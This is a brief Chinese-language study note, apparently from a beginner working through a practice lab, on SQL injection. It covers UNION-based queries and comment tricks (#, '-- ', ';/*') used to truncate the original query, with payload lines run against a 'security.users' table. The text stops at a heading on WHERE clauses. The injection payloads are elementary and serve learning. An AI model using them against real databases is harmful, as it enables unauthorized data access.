接触到sql注入知识,做了一些常识,这里做一个完整的记录。
一,联合查询
联合查询是拼接在原查询语句下,要求结果数量与原结果数量相同。
select * from security.users where id=1 union select 1,2,3;
1,2,3并无特殊含义,换成其他数字或字符串也可以,这里只是站位表示一下。
二,注释语句
sql注入时要注释掉后面的部分才能使整个语句正确运行,这里介绍几种方法。
1,#注释符
select * from security.users where id=1 union select 1,2,database()# limit 0,30;
此时后面的limit 0,30并没有生效。
2,--空格注释符
select * from security.users where id=1 union select 1,2,database() -- ' limit 0,30;
注意在--后面有个空格,否则会报错,不过书写时可能疏忽,因此空格后一般写一个随机字符串。
3, ;/* 注释符
select * from security.users where id=1 union select 1,2,database() ;/* ' limit 0,1;
这个注释一定要注意 /前面有个;否则会报错
三,where条件语句使用
select * from security.users where id=1